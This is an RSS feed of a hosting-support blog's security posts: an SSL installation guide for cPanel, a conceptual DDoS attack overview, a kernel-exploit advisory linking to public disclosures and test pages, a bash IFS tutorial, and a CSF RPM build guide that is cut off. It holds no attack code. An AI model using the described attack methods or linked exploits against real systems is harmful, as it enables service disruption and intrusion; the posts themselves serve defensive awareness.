<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>SupportSages &#187; Security</title>
	<atom:link href="http://www.supportsages.com/blog/category/security/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.supportsages.com/blog</link>
	<description>Technical Support and Server Management : Musings in the fox hole.</description>
	<lastBuildDate>Thu, 05 Jan 2012 03:05:11 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.1.3</generator>
		<item>
		<title>SSL Installation in a cPanel based server</title>
		<link>http://www.supportsages.com/blog/2011/08/ssl-installation-in-a-cpanel-based-server/</link>
		<comments>http://www.supportsages.com/blog/2011/08/ssl-installation-in-a-cpanel-based-server/#comments</comments>
		<pubDate>Sat, 06 Aug 2011 10:14:00 +0000</pubDate>
		<dc:creator>vince</dc:creator>
				<category><![CDATA[cPanel]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.supportsages.com/blog/?p=1782</guid>
		<description><![CDATA[<span style="color: #ff0000;"><strong>What is SSL</strong></span>

SSL (Secure Sockets Layer) is a cryptographic protocol which ensure the security of communication over the Internet. SSL encrypt the segments of network connections above the Transport Layer, using symmetric cryptography for privacy and a keyed message authentication code for message reliability.

<span style="color: #ff0000;"><strong>How SSL works</strong></span>

Web servers and Web browsers rely on the SSL protocol to create a unique encrypted channel for private communications over the Internet. The SSL Certificate consists of a public key and a private key. The public key is used to encrypt information and the private key is used to decrypt it. ...]]></description>
			<content:encoded><![CDATA[<p><span style="color: #ff0000;"><strong>What is SSL</strong></span></p>
<p>SSL (Secure Sockets Layer) is a cryptographic protocol which ensure the security of communication over the Internet. SSL encrypt the segments of network connections above the Transport Layer, using symmetric cryptography for privacy and a keyed message authentication code for message reliability.</p>
<p><span style="color: #ff0000;"><strong>How SSL works</strong></span></p>
<p>Web servers and Web browsers rely on the SSL protocol to create a unique encrypted channel for private communications over the Internet. The SSL Certificate consists of a public key and a private key. The public key is used to encrypt information and the private key is used to decrypt it. When a Web browser points to a domain which is secured by SSL, a level of encryption is established based on the type of SSL Certificate as well as the client Web browser, operating system and host server’s capabilities. This is why SSL certificates feature a different range of encryption levels.</p>
<p><span style="color: #ff0000;"><strong>Obtaining an SSL Certificate</strong></span></p>
<p>Domain example.com needs an SSL Certificate. The following steps are involved in it :</p>
<p>a) Example.com generates a CSR (Certificate Signing Request) and during this process, a private key is generated.<br />
b) With this CSR, Example.com goes to a trusted, third party Certificate Authority like Verisign. They take the Certificate Signing Request and validates example.com. The Certificate Authority validates example.com.<br />
c) When the validation process is complete, the third party Certificate Authority gives a new public key (certificate) encrypted with their private key.<br />
d) Example.com installs the new certificate and gets secured.</p>
<p><span style="color: #ff0000;"><strong>Installing SSL</strong></span></p>
<p>(i) Through cPanel/WHM<br />
Its quite easy to install SSL through cPanel/WHM interface.</p>
<p><strong>Generating CSR</strong></p>
<p>Under Security tab, click SSL/TLS Manager.</p>
<p><a  href="http://www.supportsages.com/blog/wp-content/uploads/2011/03/security_cpanel.png" class="thickbox no_icon" rel="gallery-1782" title="security_cpanel"><img class="alignnone size-full wp-image-1786" title="security_cpanel" src="http://www.supportsages.com/blog/wp-content/uploads/2011/03/security_cpanel.png" alt="" width="519" height="117" /></a></p>
<p>Generate the Private Keys first by accessing the option <strong>Generate, view, upload or delete your private keys</strong></p>
<p><a  href="http://www.supportsages.com/blog/wp-content/uploads/2011/03/ssltls1.png" class="thickbox no_icon" rel="gallery-1782" title="ssltls"><img class="alignnone size-full wp-image-1789" title="ssltls" src="http://www.supportsages.com/blog/wp-content/uploads/2011/03/ssltls1.png" alt="" width="320" height="206" /></a></p>
<p>Access the option <strong>Generate, view, or delete SSL certificate signing requests</strong>. Fill in the forms like Domain Name, E-mail Address, Country etc.</p>
<p>You will obtain the CSR. Contact the Certificate provider with this information. The Certificate Authority will then provide the Certificate (CRT). Finally you will have the following files associated with SSL :</p>
<p><em><strong>CSR in the format domain.com.csr or domain_com.csr</strong></em></p>
<p><em><strong>CA bundle, which have the Public key of the Certificate Authority in the format domain.com.cabundle or domain_com.ca-bundle</strong></em></p>
<p><em><strong>CRT, the certificate in the format domain.com.crt or domain_com.crt</strong></em></p>
<p><em><strong>Private key in the format domain.com.key or domain_com.key </strong></em></p>
<p><span style="color: #ff0000;"><strong>Method 1 : Installing from cPanel</strong></span></p>
<p><span style="color: #ff0000;"><span style="color: #000000;">1. Go to </span></span><strong>SSL/TLS Manager</strong>.<br />
2. Click <strong>Generate, view, upload, or delete your private keys</strong>.<br />
3. Under the <strong>Upload a New Certificate section</strong>, click on the <strong>Browse </strong>button (next to Choose a .crt file option) and find the Domain Certificate file  (example.crt) that you obtained from the SSL vendor. Alternatively you can paste the Certificate contents on the section <strong>Paste the crt  below</strong>. Make sure to include the BEGIN and  END tags, while copying your certificate. Click the Upload button.<br />
4. Go Back and click Return to <strong>SSL Manager</strong> at the bottom of the page.<br />
5. Click on <strong>Setup a SSL certificate to work with your site</strong>. If this option is not available, your web host may have disabled it. You will need to contact them for further support.<br />
6. Now, select the domain you are using from the Domain drop down menu. It will attempt to fetch the SSL Certificate and the private key. If this doesn&#8217;t work, you may need to contact your web host.<br />
7. In the box labeled CA Bundle paste the contents of the Intermediate certificate (DigiCertCA.crt).<br />
8. Click Install Certificate. Your SSL certificate should now be installed, and the website configured to accept secure connections. You or your web host may need to restart Apache before it will work.</p>
<p><a  href="http://www.supportsages.com/blog/wp-content/uploads/2011/08/ssl-cpanel-install-1.png" class="thickbox no_icon" rel="gallery-1782" title="ssl-cpanel-install-1"><img class="alignleft size-full wp-image-1917" title="ssl-cpanel-install-1" src="http://www.supportsages.com/blog/wp-content/uploads/2011/08/ssl-cpanel-install-1.png" alt="" width="523" height="420" /></a></p>
<p><a  href="http://www.supportsages.com/blog/wp-content/uploads/2011/08/ssl-cpanel-install-2.png" class="thickbox no_icon" rel="gallery-1782" title="ssl-cpanel-install-2"><img class="alignleft size-full wp-image-1918" title="ssl-cpanel-install-2" src="http://www.supportsages.com/blog/wp-content/uploads/2011/08/ssl-cpanel-install-2.png" alt="" width="497" height="667" /></a></p>
<p><span style="color: #ff0000;"><strong>Method 2 : Installing from WHM</strong></span></p>
<p><strong> </strong><span style="color: #000000;">You can install SSL certificate from WHM also. Its quite simple when compared to the installation through cPanel. All you need is the root access to WHM. Once you login to the WHM, search for the option </span><strong>Install a SSL Certificate and Setup the Domain. </strong></p>
<p>You&#8217;ll find three boxes. Paste the CRT file contents in the first box. It will automatically fetch the Key and CA Bundle (In most cases, CA bundle needs to be fetched manually). Finally click Submit once all the fields are populated. You&#8217;ll see a message that indicates the installation is successful</p>
<p><a  href="http://www.supportsages.com/blog/wp-content/uploads/2011/08/whm1.png" class="thickbox no_icon" rel="gallery-1782" title="whm1"><img class="alignleft size-full wp-image-1923" title="whm1" src="http://www.supportsages.com/blog/wp-content/uploads/2011/08/whm1.png" alt="" width="195" height="280" /></a></p>
<p><a  href="http://www.supportsages.com/blog/wp-content/uploads/2011/08/whm2.png" class="thickbox no_icon" rel="gallery-1782" title="whm2"><img class="alignleft size-full wp-image-1924" title="whm2" src="http://www.supportsages.com/blog/wp-content/uploads/2011/08/whm2.png" alt="" width="573" height="471" /></a></p>
<p><a  href="http://www.supportsages.com/blog/wp-content/uploads/2011/08/whm3.png" class="thickbox no_icon" rel="gallery-1782" title="whm3"><img class="alignleft size-full wp-image-1925" title="whm3" src="http://www.supportsages.com/blog/wp-content/uploads/2011/08/whm3.png" alt="" width="584" height="387" /></a><a  href="http://www.supportsages.com/blog/wp-content/uploads/2011/08/whm4.png" class="thickbox no_icon" rel="gallery-1782" title="whm4"><img class="size-full wp-image-1926 alignleft" title="whm4" src="http://www.supportsages.com/blog/wp-content/uploads/2011/08/whm4.png" alt="" width="554" height="356" /></a></p>
<p><span style="color: #ff0000;"><strong>Method 3 : Manual Installation</strong></span></p>
<p>You need the Server Root shell access for this. Go to the Apache configuration file in the server, in the cPanel case its /usr/local/apache/conf/httpd.conf. Locate the VirtualHost entry configured for SSL. Configure it like :</p>
<pre class="brush: bash; title: ; notranslate">
&lt;VirtualHost xxx.xxx.x.xx:443&gt;
 ServerName example.com
 ServerAlias www.example.com
 DocumentRoot /home/example/public_html
 SSLEngine on
 SSLCertificateFile /usr/share/ssl/certs/example.com.crt
 SSLCertificateKeyFile /usr/share/ssl/private/example.com.key
 SSLCACertificateFile /usr/share/ssl/certs/example.com.cabundle
&lt;/VirtualHost&gt;
</pre>
<p>where <strong>SSLCertificateFile </strong>is the SSL certificate file path, <strong>SSLCertificateKeyFile </strong>is the Key file path, <strong>SSLCACertificateFile </strong>is the path to the Intermediate file. Make sure you&#8217;ve the files in the specified path (It may vary on different scenarios). Restart the Web server and you&#8217;re done.</p>
<div class="tweetthis" style="text-align:left;"><p> <a  class="tt" href="http://twitter.com/home/?status=SSL+Installation+in+a+cPanel+based+server+http%3A%2F%2Fwww.supportsages.com%2Fblog%2F1782" title="Post to Twitter"><img class="nothumb" src="http://www.supportsages.com/blog/wp-content/plugins/tweet-this/icons/en/twitter/tt-twitter3.png" alt="Post to Twitter" /></a> <a  class="tt" href="http://twitter.com/home/?status=SSL+Installation+in+a+cPanel+based+server+http%3A%2F%2Fwww.supportsages.com%2Fblog%2F1782" title="Post to Twitter">Tweet This Post</a></p></div>]]></content:encoded>
			<wfw:commentRss>http://www.supportsages.com/blog/2011/08/ssl-installation-in-a-cpanel-based-server/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>DDoS, prevention, cure! &#8211; Part 1</title>
		<link>http://www.supportsages.com/blog/2010/12/ddos-prevention-cure-part-1/</link>
		<comments>http://www.supportsages.com/blog/2010/12/ddos-prevention-cure-part-1/#comments</comments>
		<pubDate>Wed, 29 Dec 2010 10:54:22 +0000</pubDate>
		<dc:creator>Fabian</dc:creator>
				<category><![CDATA[Howtos]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Troubleshooting]]></category>

		<guid isPermaLink="false">http://www.supportsages.com/blog/?p=1473</guid>
		<description><![CDATA[DDoS - Distributed Denial Of Service  Wiki : <a href="http://en.wikipedia.org/wiki/Denial-of-service_attack">http://en.wikipedia.org/wiki/Denial-of-service_attack</a>
<blockquote>DDoS is an attack on a computer/server or its resources and thereby making it unavailable to intended users.</blockquote>
Web-hosts must be familiar with this term and will be a victim at-least once. The intention of this post is to give  a brief description about DDoS, its prevention and cure if effected. Please note that this will not server as a perfect guide to the mentioned "Subject-line", but a "tip-note".

<strong>Understanding DDoS</strong>:

The four commonly used programs used by attackers to launch DDoS attacks are
<ol>
	<li> <a href="http://en.wikipedia.org/wiki/Trinoo" target="_blank"> Trinoo</a></li>
	<li> <a href="http://en.wikipedia.org/wiki/Tribe_Flood_Network" target="_blank">TFN</a></li>
	<li> <a href="http://packetstormsecurity.org/distributed/TFN2k_Analysis-1.3.txt" target="_blank">TFN2K</a></li>
	<li> ...]]></description>
			<content:encoded><![CDATA[<p>DDoS &#8211; Distributed Denial Of Service  Wiki : <a  href="http://en.wikipedia.org/wiki/Denial-of-service_attack">http://en.wikipedia.org/wiki/Denial-of-service_attack</a></p>
<blockquote><p>DDoS is an attack on a computer/server or its resources and thereby making it unavailable to intended users.</p></blockquote>
<p>Web-hosts must be familiar with this term and will be a victim at-least once. The intention of this post is to give  a brief description about DDoS, its prevention and cure if effected. Please note that this will not server as a perfect guide to the mentioned &#8220;Subject-line&#8221;, but a &#8220;tip-note&#8221;.</p>
<p><strong>Understanding DDoS</strong>:</p>
<p>The four commonly used programs used by attackers to launch DDoS attacks are</p>
<ol>
<li> <a  href="http://en.wikipedia.org/wiki/Trinoo" target="_blank"> Trinoo</a></li>
<li> <a  href="http://en.wikipedia.org/wiki/Tribe_Flood_Network" target="_blank">TFN</a></li>
<li> <a  href="http://packetstormsecurity.org/distributed/TFN2k_Analysis-1.3.txt" target="_blank">TFN2K</a></li>
<li> <a  href="http://en.wikipedia.org/wiki/Stacheldraht" target="_blank">Stacheldraht</a></li>
</ol>
<p><strong>Symptoms of DDos:</strong></p>
<ol>
<li>Unusually slow network performance (opening files or accessing web sites)</li>
<li>Unavailability of a particular web site</li>
<li>Inability to access any web site</li>
<li>Dramatic increase in the number of spam emails received—(this type of DoS attack is considered an e-mail bomb)</li>
<li>Packet loss for pings to IP/Domain</li>
</ol>
<p><strong>How DDoS is done:</strong></p>
<p><a  href="http://www.supportsages.com/blog/wp-content/uploads/2010/11/424px-Stachledraht_DDos_Attack.svg_.png" class="thickbox no_icon" rel="gallery-1473" title="424px-Stachledraht_DDos_Attack.svg"><img class="aligncenter size-full wp-image-1477" title="424px-Stachledraht_DDos_Attack.svg" src="http://www.supportsages.com/blog/wp-content/uploads/2010/11/424px-Stachledraht_DDos_Attack.svg_.png" alt="" width="424" height="600" /></a></p>
<p><em>Pictorial representation of Stacheldraht DDoS attack.</em></p>
<p>In Stacheldraht DDoS attack, the attacker uses a client program to connect handlers which is a set of compromised machines that issues commands to the agents which in-turn facilitate the DDoS attack. The agents are another set of machines which is compromised using handlers by the attacker. Each handler can control thousands of agents  and all these widely distributed agents floods the target server and thereby increasing the impact of attack.</p>
<p><strong>DoS and DDoS are not the same:</strong></p>
<p>If the attacker initiates an attack from a single host, it is classified as a DoS  as it is not &#8216;distributed&#8217;. In fact, any attack against availability would be classed as a Denial of Service attack. On the other hand, if an attacker uses a thousand systems to simultaneously launch smurf attacks against a remote host, this would be classified as a DDoS attack.</p>
<p>Then what is <strong>DRDoS</strong>? DRDoS is Distributed Refected Denial of Service. These attacks forge the source address of the IP packets with the victim’s IP and send pings/packets to intermediate hosts. When the intermediate sends back the reply to these pings , it is sent to the victims IP thereby flooding the victim.</p>
<p style="text-align: center;"><a  href="http://www.supportsages.com/blog/wp-content/uploads/2010/11/Screenshot.png" class="thickbox no_icon" rel="gallery-1473" title="Screenshot"><img class="aligncenter size-large wp-image-1495" title="Screenshot" src="http://www.supportsages.com/blog/wp-content/uploads/2010/11/Screenshot-1024x623.png" alt="" width="614" height="374" /></a></p>
<p style="text-align: left;">Some other types/methods of <strong><em>DDoS/DRDoS/Dos attacks</em></strong> are :</p>
<p style="text-align: left;"><em>Reflective ICMP attack</em>: The reflective ICMP attack uses public sites like google.com that responds to ICMP ping requests to that of victims IP. The attacker spoofs the victims IP and send requests to the Public servers which will then reply to the actual IP.</p>
<p style="text-align: left;"><em>TCP SYN flood attack </em>: The attacker sends a packet with SYS bit set of the well known TCP three way handshake. The victim responds to the request by sendong a reply packet with SYN_ACK bit set, but the attackr never responds and thereby increasing the TCP receive queues and denying new TCP connetions. But modern  UNIX and Windows fixed this by increasing the queue qize and limited the number of TCP SYS packets allowed.</p>
<p style="text-align: left;"><em>UDP attacks</em> : The UDP is one of the most effective way of DDos/DoS attacks. UDP is a stateless protocol and does not have any acknowledgement mechanism by design. PROTOS,the SNMP test suite, and other SNMP tools have been used successfully to launch application level DoS attacks. The Slammer worm was extremely fast because it did not require a response from the compromised computer.</p>
<p style="text-align: left;"><em>TTL Expiration </em>: The attacker forges the victims IP and send packets with low TTL set to it so that it will expire in the transmit at high speed router. When the TTL reaches zero, the router drops the packet and sends an ICMP TTL expired message to the source address, ie the Victim IP. This attack could be lowered by rate limiting ICMP to all routers in the service provider’s network.</p>
<p style="text-align: left;"><em>Permanent DoS attacks (PDoS)</em><strong> </strong>:  PDoS is an attack that damages the system so badly that it needs the hardware to be replaced or reinstalled. The PDoS is purely a hardware targeted attack in which the attacker modifies the devide fireware by the legitimate method caled flashing. The attacker replaces the hardware firmware with his own modified version which will make the device unstable and render it from the original purpose for which it is made or designed for. The is done by exploiting the hardware security flaws which will allow remote administration of devices such as routers, printers and other networking hardwares.</p>
<p style="text-align: left;"><em>Degradation Of Service Attacks</em> : The compromised computers are used by the atackers to launch short-lived flooding on victims website which will slow down the website rather than crashing it. This is degradation of service rather than deniel of service and is more seriver than DoS as this is pretty difficult to detect and resolve.</p>
<p style="text-align: left;"><em>Un-intentional Denial Of Services </em>:  Sudden spike in popularity for a website is the major cause for this. This happens when an extremely popular wesite posts a link to a second site as a part of referrence for news or article. This will lead significant increase in traffic to the secondary website which will result in crashing or server/services. An example for this hapened when Michael Jackson died in 2009 which took down sites like Google and Twitter. (In this case you cant just blame someone <img src='http://www.supportsages.com/blog/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> )</p>
<p style="text-align: left;"><em>Blind Denial Of Service </em>: In Blind Deniel of Service, the attacker must be able to receive traffic from the victim, then the attacker must either subvert the routing fabric or use the attacker&#8217;s own IP address. Either provides an opportunity for the victim to track the attacker and/or filter out his traffic. With a blind attack the attacker uses a forged IP addresses, making it extremely difficult for the victim to filter out those packets. The TCP SYN flood attack is an example of a blind attack. Designers should make every attempt possible to prevent blind denial of service attacks.</p>
<p style="text-align: left;">
<p style="text-align: left;">
<div class="tweetthis" style="text-align:left;"><p> <a  class="tt" href="http://twitter.com/home/?status=DDoS%2C+prevention%2C+cure%21+-+Part+1+http%3A%2F%2Fwww.supportsages.com%2Fblog%2F1473" title="Post to Twitter"><img class="nothumb" src="http://www.supportsages.com/blog/wp-content/plugins/tweet-this/icons/en/twitter/tt-twitter3.png" alt="Post to Twitter" /></a> <a  class="tt" href="http://twitter.com/home/?status=DDoS%2C+prevention%2C+cure%21+-+Part+1+http%3A%2F%2Fwww.supportsages.com%2Fblog%2F1473" title="Post to Twitter">Tweet This Post</a></p></div>]]></content:encoded>
			<wfw:commentRss>http://www.supportsages.com/blog/2010/12/ddos-prevention-cure-part-1/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>CRITICAL : One more kernel exploit known to the public</title>
		<link>http://www.supportsages.com/blog/2010/09/one-more-kernel-exploit-known-to-the-public/</link>
		<comments>http://www.supportsages.com/blog/2010/09/one-more-kernel-exploit-known-to-the-public/#comments</comments>
		<pubDate>Fri, 17 Sep 2010 13:47:43 +0000</pubDate>
		<dc:creator>George</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[exploits]]></category>
		<category><![CDATA[kernel]]></category>
		<category><![CDATA[security in linux]]></category>

		<guid isPermaLink="false">http://www.supportsages.com/blog/?p=1245</guid>
		<description><![CDATA[A continuation of the previous exploits. <a href="http://isec.pl/vulnerabilities/isec-0025-syscall-emulation.txt" target="_blank">http://isec.pl/vulnerabilities/isec-0025-syscall-emulation.txt</a>

Full Disclosure here  -<a href="http://seclists.org/fulldisclosure/2010/Sep/268" target="_blank"> http://seclists.org/fulldisclosure/2010/Sep/268</a> &#38; mitigation at <a href="http://seclists.org/fulldisclosure/2010/Sep/273" target="_blank">http://seclists.org/fulldisclosure/2010/Sep/273</a>

Details about the 0 day exploit and how to test whether your system is exploitable or not. However no need to get panicked as this particular exploit was with l33t hackers for last 2 years as you can see at the above link. Now since it is public now, take an extra care if uname -m gives you a x86_64.

<a href="http://sota.gen.nz/compat2/" target="_blank">http://sota.gen.nz/compat2/</a>

<a href="http://sota.gen.nz/compat1/" target="_blank">http://sota.gen.nz/compat1/</a>

Two CVE candidates are there - CVE-2010-3081 and CVE-2010-3301. One will affect the server and other don't.

Temporary ...]]></description>
			<content:encoded><![CDATA[<p>A continuation of the previous exploits. <a  href="http://isec.pl/vulnerabilities/isec-0025-syscall-emulation.txt" target="_blank">http://isec.pl/vulnerabilities/isec-0025-syscall-emulation.txt</a></p>
<p>Full Disclosure here  -<a  href="http://seclists.org/fulldisclosure/2010/Sep/268" target="_blank"> http://seclists.org/fulldisclosure/2010/Sep/268</a> &amp; mitigation at <a  href="http://seclists.org/fulldisclosure/2010/Sep/273" target="_blank">http://seclists.org/fulldisclosure/2010/Sep/273</a></p>
<p>Details about the 0 day exploit and how to test whether your system is exploitable or not. However no need to get panicked as this particular exploit was with l33t hackers for last 2 years as you can see at the above link. Now since it is public now, take an extra care if uname -m gives you a x86_64.</p>
<p><a  href="http://sota.gen.nz/compat2/" target="_blank">http://sota.gen.nz/compat2/</a></p>
<p><a  href="http://sota.gen.nz/compat1/" target="_blank">http://sota.gen.nz/compat1/</a></p>
<p>Two CVE candidates are there &#8211; CVE-2010-3081 and CVE-2010-3301. One will affect the server and other don&#8217;t.</p>
<p>Temporary solution would be to follow<a  href="https://access.redhat.com/kb/docs/DOC-40265" target="_blank"> https://access.redhat.com/kb/docs/DOC-40265</a></p>
<div class="tweetthis" style="text-align:left;"><p> <a  class="tt" href="http://twitter.com/home/?status=CRITICAL+%3A+One+more+kernel+exploit+known+to+the+public+http%3A%2F%2Fwww.supportsages.com%2Fblog%2F1245" title="Post to Twitter"><img class="nothumb" src="http://www.supportsages.com/blog/wp-content/plugins/tweet-this/icons/en/twitter/tt-twitter3.png" alt="Post to Twitter" /></a> <a  class="tt" href="http://twitter.com/home/?status=CRITICAL+%3A+One+more+kernel+exploit+known+to+the+public+http%3A%2F%2Fwww.supportsages.com%2Fblog%2F1245" title="Post to Twitter">Tweet This Post</a></p></div>]]></content:encoded>
			<wfw:commentRss>http://www.supportsages.com/blog/2010/09/one-more-kernel-exploit-known-to-the-public/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>IFS</title>
		<link>http://www.supportsages.com/blog/2010/09/ifs/</link>
		<comments>http://www.supportsages.com/blog/2010/09/ifs/#comments</comments>
		<pubDate>Thu, 02 Sep 2010 18:51:19 +0000</pubDate>
		<dc:creator>victor</dc:creator>
				<category><![CDATA[cPanel]]></category>
		<category><![CDATA[Customer Care]]></category>
		<category><![CDATA[General]]></category>
		<category><![CDATA[Howtos]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Offers]]></category>
		<category><![CDATA[PostgreSQL]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Snippets]]></category>
		<category><![CDATA[Specials]]></category>
		<category><![CDATA[Training]]></category>
		<category><![CDATA[Troubleshooting]]></category>
		<category><![CDATA[ifs]]></category>
		<category><![CDATA[linux. bash]]></category>
		<category><![CDATA[while]]></category>

		<guid isPermaLink="false">http://www.supportsages.com/blog/?p=1236</guid>
		<description><![CDATA[How many times have you written scripts and a had bad time with those having spaces? The remedy to this situation is your IFS value.

IFS or Internal Field Seperator holds the value which seperates the various entities. This can be file names, values read into a script by read etc. It is the character or characters designated as whitespace by the operating system.

The IFS is set to the newline and space character. The global variable $IFS stores the value. To view the exact value stored in IFS execute:
[bash]
echo &#34;$IFS&#34; &#124; cat -vTE
 ^I$
$
[/bash]
Running echo "$IFS" will not give you any ...]]></description>
			<content:encoded><![CDATA[<p>How many times have you written scripts and a had bad time with those having spaces? The remedy to this situation is your IFS value.</p>
<p>IFS or Internal Field Seperator holds the value which seperates the various entities. This can be file names, values read into a script by read etc. It is the character or characters designated as whitespace by the operating system.</p>
<p>The IFS is set to the newline and space character. The global variable $IFS stores the value. To view the exact value stored in IFS execute:</p>
<pre class="brush: bash; title: ; notranslate">
echo &quot;$IFS&quot; | cat -vTE
 ^I$
$
</pre>
<p>Running echo &#8220;$IFS&#8221; will not give you any visible output (after all, you are going to see a space and a newline). cat -vTE displays non printable characters , tabs as ^I and ends each line with a $ sign.</p>
<p>In a script which utilises filenames (with spaces), it is always preferable to change the IFS to include only the newline character opposed to the default space and newline character. Lets check out one such script which accepts filenames wih spaces. This scripts simply prints the file names in your current directory. (Remember to create some files in your currenct directory which has spaces. You may try the same script removing the lines with the IFS variable in reference to see the difference)</p>
<pre class="brush: bash; title: ; notranslate">
#!/bin/bash
OIFS=$IFS # Original IFS

IFS=$(echo -en &quot;\n\b&quot;) # New IFS

for fil in $(ls -1 $PWD); do
	echo $fil
done

IFS=$OIFS # Restore earlier IFS
</pre>
<p>IFS can also be used to read files with lines sepearated by a special character. For example in the /etc/passwd, to store the various entries like username, homedirectory etc.</p>
<p>The following script uses the while construct to determine the users who have the shell portion as /bin/false</p>
<pre class="brush: bash; title: ; notranslate">
#!/bin/bash

OIFS=$IFS
IFS=':'

while read username password userid groupid comments homedir shell_avail
do
	if [[ $shell_avail == /bin/false ]]; then
                echo &quot;$username has no shell&quot;
        fi

done &lt; /etc/passwd
IFS=$OIFS
</pre>
<p>In the above script each of the 7 portions of the /etc/passwd file is assigned to the 7 variables<br />
username password userid groupid comments homedir shell_avail with the read command. The if portion in the script compares the seventh variable &#8211; shell_avail to /bin/false to determine the username and outputs it. </p>
<p>From now on you can use the IFS variable for all those files with spaces and extracting values separated by a special character.</p>
<div class="tweetthis" style="text-align:left;"><p> <a  class="tt" href="http://twitter.com/home/?status=IFS+http%3A%2F%2Fwww.supportsages.com%2Fblog%2F1236" title="Post to Twitter"><img class="nothumb" src="http://www.supportsages.com/blog/wp-content/plugins/tweet-this/icons/en/twitter/tt-twitter3.png" alt="Post to Twitter" /></a> <a  class="tt" href="http://twitter.com/home/?status=IFS+http%3A%2F%2Fwww.supportsages.com%2Fblog%2F1236" title="Post to Twitter">Tweet This Post</a></p></div>]]></content:encoded>
			<wfw:commentRss>http://www.supportsages.com/blog/2010/09/ifs/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to create a RPM from source package(Creating CSF RPM)</title>
		<link>http://www.supportsages.com/blog/2010/08/how-to-create-a-rpm-from-source-packagecreating-csf-rpm/</link>
		<comments>http://www.supportsages.com/blog/2010/08/how-to-create-a-rpm-from-source-packagecreating-csf-rpm/#comments</comments>
		<pubDate>Tue, 24 Aug 2010 08:20:18 +0000</pubDate>
		<dc:creator>Fabian</dc:creator>
				<category><![CDATA[Howtos]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[cPanel]]></category>
		<category><![CDATA[csf]]></category>
		<category><![CDATA[csf rpm]]></category>
		<category><![CDATA[rpm]]></category>
		<category><![CDATA[rpm for csf]]></category>

		<guid isPermaLink="false">http://www.supportsages.com/blog/?p=1190</guid>
		<description><![CDATA[We create RPM's from the Source for a package. As an initial step, compile and install the source using normal procedures just to confirm all necessary libraries/dependencies are met.

Here I am explaining the whole process to create an RPM for CSF that could be  installed on cPanel servers.

<strong>Getting ready with the Source Files:</strong>

Download Latest CSF from here : http://www.configserver.com/free/csf.tgz

Extract the tarball.

[bash][root@server new]# tar -xvf csf.tgz
[root@server new]# ls
csf  csf.tgz[/bash]

Install to check all libraries/dependencies are met.

[bash][root@server csf]# cd csf
[root@server csf]# sh install.cpanel.sh
*WARNING* TESTING mode is enabled - do not forget to disable it in the configuration
Installation Completed[/bash]

We confirmed all libraries/dependencies are met ...]]></description>
			<content:encoded><![CDATA[<p>We create RPM&#8217;s from the Source for a package. As an initial step, compile and install the source using normal procedures just to confirm all necessary libraries/dependencies are met.</p>
<p>Here I am explaining the whole process to create an RPM for CSF that could be  installed on cPanel servers.</p>
<p><strong>Getting ready with the Source Files:</strong></p>
<p>Download Latest CSF from here : http://www.configserver.com/free/csf.tgz</p>
<p>Extract the tarball.</p>
<pre class="brush: bash; title: ; notranslate">[root@server new]# tar -xvf csf.tgz
[root@server new]# ls
csf  csf.tgz</pre>
<p>Install to check all libraries/dependencies are met.</p>
<pre class="brush: bash; title: ; notranslate">[root@server csf]# cd csf
[root@server csf]# sh install.cpanel.sh
*WARNING* TESTING mode is enabled - do not forget to disable it in the configuration
Installation Completed</pre>
<p>We confirmed all libraries/dependencies are met for installing CSF.  We need to rename the tarball to define a version so that it could be used in the SPEC file.</p>
<pre class="brush: bash; title: ; notranslate">[root@server csf]# cd ..
[root@server new]# ls
csf  csf.tgz
[root@server new]#mv csf csf-0.0.1
[root@server new]# tar -cvf csf-0.0.1.tar.gz csf-0.0.1</pre>
<p>0.0.1 defines the version. (Can assign any). Now we are ready with the source file for CSF csf-0.0.1.tar.gz that could be used to generate RPM.</p>
<p><strong>Building the RPM:</strong></p>
<p>Install RPMBUILD tool: <strong></strong></p>
<pre class="brush: bash; title: ; notranslate">[root@server ~]# yum install rpm-build</pre>
<p>We never build RPM&#8217;s as &#8216;root&#8217; users, but as normal users, because root can alter any file on the system, it was easy to inadvertently alter a running system by adding extraneous files or removing important files during interim builds of an RPM. Earlier RPM&#8217;s were build as root user but recently the RPM system changed to allow any user to build RPMs in a home directory. Building an RPM without the privileges of root prevents changes to core system files and hence we are on the safer side.</p>
<p>Initial Set-up:</p>
<p>We need to create a directory hierarchy for the rpm build tool to work with. To begin with, create a directory under your home directory which will act as the root directory for the build process. Lets make a directory &#8216;csfrpm&#8217; under home directory for this purpose.</p>
<pre class="brush: bash; title: ; notranslate">[sage@server ~]$ mkdir -p /home/your_username/csfrpm</pre>
<pre class="brush: bash; title: ; notranslate">[sage@server ~]$ cd /home/your_username/csfrpm</pre>
<p>Create Five sub-directories under csfrpm.</p>
<pre class="brush: bash; title: ; notranslate">[sage@server csfrpm]$ mkdir BUILD RPMS SOURCES SPECS SRPMS</pre>
<ul>
<li>BUILD: BUILD is used as a space to compile the software.</li>
<li>RPMS: RPMS contains the binary RPM that rpmbuild builds.</li>
<li>SOURCES: SOURCES is for source code.</li>
<li>SPECS: SPECS contains your spec file or files—one spec file per RPM you want to build.</li>
